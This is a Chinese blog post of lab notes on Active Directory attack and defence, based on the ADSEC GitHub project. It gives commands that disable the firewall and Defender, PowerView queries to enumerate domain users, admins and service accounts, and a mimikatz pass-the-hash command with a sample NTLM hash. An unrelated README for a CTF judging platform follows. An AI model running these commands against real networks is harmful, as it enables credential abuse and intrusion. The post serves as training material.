从Github一开源项目ADSEC【学习域渗透攻防基础】

本文基于GitHub上的开源项目ADSEC,探讨域渗透攻防的基础知识。内容涵盖环境搭建、域信息搜集、NTLM哈希传递攻击、Kerberos攻防及权限维持等,适合网络安全初学者。通过实际操作,学习如何使用PowerView、mimikatz等工具进行域渗透。
摘要由CSDN通过智能技术生成

在这里插入图片描述
学习的开源项目是:

https://github.com/cfalta/adsec

有些地方是直接Google 翻译过来的。

注意:本人域渗透新手,很多问题都不懂,有问题欢迎大哥后台留言啊!!!

Lab Setup – 域环境搭建

学习的过程中,最难的就是环境搭建了。(因为有些坑,别人不一定遇到,么有地方可以问,然后有些问题就离谱。。)

物理机:MacBookPro 2020 Intel i5
虚拟机:Vmware Fusion Windows Server 2019 * 3

域成员用户密码:P@ssw0rd123!(00和01)
域机器本地管理员密码:P@ssw0rd123!@#(P@ssw0rd123!!!)
域控机器管理员密码:P@ssw0rd123!!!
密码随便自己设置符合要求就可以,这里列出来只是害怕忘记了。

搭建一个域控,两台域成员机器,然后能ping通就好了。
Configure the following steps on every VM:

Point the DNS server to the IP of ADSEC-DC
Disable Windows Firewall (run in Powershell with admin rights)

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Disable Windows Defender
Uninstall-WindowsFeature -Name Windows-Defender

在这里插入图片描述
在这里插入图片描述

在两台成员机器上用, john P@ssw0rd/blee TekkenIsAwesome! 来认证加入域。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

![

攻击机器环境搭建

](https://img-blog.csdnimg.cn/6165c2c1457a4ba6b126109021b23421.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)

该环境是假设john这台ADSEC-00 被攻破了,作为入口来进行AD域渗透。因为要通过powershell 脚本来安装攻击的工具,所以需要再分配一张网卡,让这台机器出网。

在这里插入图片描述

neo4j 图数据库安装

https://neo4j.com/artifact.php?name=neo4j-desktop-1.4.7-setup.exe

https://www.oracle.com/java/technologies/javase-jdk11-downloads.html

BloodHound

Exercise 1 – Reconnaissance(域信息搜集)

这里主要是用的PowerView,
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

首先是导入PowerView模块,

cat -raw “.\PowerView.ps1” | iex

域内基础信息和域控信息

比如域名、域控ip、域控的操作系统版本等

获取所有域计算机和用户
注意:通常情况下需要过滤,因为真实的域环境中会有大量结果。

Get-DomainComputer

过滤域管:

Get-DomainUser|?{$_.memberof -like “Domain Admins”} | select
samaccountname
在这里插入图片描述

只显示用户名:
在这里插入图片描述

获取所有域计算机,但仅显示名称、DNS 名称和创建日期,并以表格形式显示

Get-DomainComputer | select samaccountname,dnshostname,whencreated |
Format-Table

在这里插入图片描述

获取自定义用户组

Get-DomainGroup | ? { $.distinguishedname -notlike “CN=Users” -and
$
.distinguishedname -notlike “CN=Builtin”} | select
samaccountname,description

在这里插入图片描述

第一章问题

(主要就是熟悉PowerView的相关用法,Powershell查询语法)
https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon

域中有多少台计算机以及它们在什么操作系统上运行?
在这里插入图片描述

域中有多少用户对象?编写一个 powershell 查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改
在这里插入图片描述

您能识别任何自定义管理组吗?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。

Get-DomainGroup | ? { $.distinguishedname -like “CN=Manage” -or
$
.distinguishedname -like “CN=admin”} | select
samaccountname,description

在这里插入图片描述

谁是您找到的自定义管理员组的成员,他最后一次设置密码是什么时候?
在这里插入图片描述

想出识别域中服务帐户的简单方法吗?编写一个 powershell 查询,根据您提出的模式列出所有服务帐户。

Get-DomainUser -SPN |select
serviceprincipalname,userprincipalname,pwdlastset,lastlogon

在这里插入图片描述

Exercise 2 – NTLM (Pass-the-Hash)【哈希传递攻击】

工具:

mimikatz
psexec
在这里插入图片描述

获取到管理员的hash,37bef461dec3d4cb748209d3c3185132
在这里插入图片描述

然后pth,

sekurlsa::pth /user:Administrator
/ntlm:37bef461dec3d4cb748209d3c3185132 /domain:redteamlab.com

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一个awd攻防比赛的裁判平台。 版本:beta v2.0 开发语言:python3 + django 平台分为两个部分 裁判机 靶机 通过特定接口,来实现靶机flag与服务器的通信 搭建流程 裁判机 安装所需环境 裁判机:python3+django 全局搜索woshiguanliyuan,并修改为随机字符串,此处为管理平台地址 /untitled/urls.py path('woshiguanliyuan/',views.admin,name='admin'), path('woshiguanliyuan/table/',views.admin_table,name='admin_table'), /app/views.py if 'woshiguanliyuan' not in request.META['HTTP_REFERER']: 第31和47换为你的目录 列:("/var/www/awd_platform/app/qwe.txt","a") 修改app/management/commands/init.py,添加用户 #['用户名','用户靶机token','用户靶机token'] user=[ ['123456','FF9C92C7SDFABB71566F73422C','FF9C92C7SDFABB71566F73422C'], ['aaabbb','311F8A54SV9K6B5FF4EAB20536','311F8A54SV9K6B5FF4EAB20536'] ] 修改/app/views.py第行d89f33b18ba2a74cd38499e587cb9dcd为靶机中设置的admin_token值的md5 if('d89f33b18ba2a74cd38499e587cb9dcd'==hl.hexdigest()): 运行 python3 manage.py init python3 manage.py manage.py runserver --insecure 靶机 安装所需环境 靶机:python+requests 修改send_flag.py参数,并将其放入靶机,设权限700。 靶机 sudo python send_flag.py。 靶机生成flag脚本,send_flag.py import requests import time import random import string import hashlib token='woshiwuxudong' # 红队 baji='311F8A54SV9K6B5FF4EAB20536' def getFlag(): #return ''.join(random.sample(string.ascii_letters + string.digits, 48)) m = hashlib.md5(''.join(random.sample(string.ascii_letters + string.digits, 48)).encode(encoding="utf-8")).hexdigest() return m while(1): f=open('/flag','w') flag=getFlag() f.write(flag) data={ 'flag':flag, 'token':token, 'baji':baji, } r=requests.post('http://127.0.0.1/caipanflag/',data=data) print(r.text) f.close() time.sleep(300) 重要须知 更新作者基础上: 1.增加flag验证一次性失效性,使得每个用户都并且仅可以提交一次flag 2.增加排名情况 3.flag改为MD5 4.增加丢失flag一轮扣100分
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值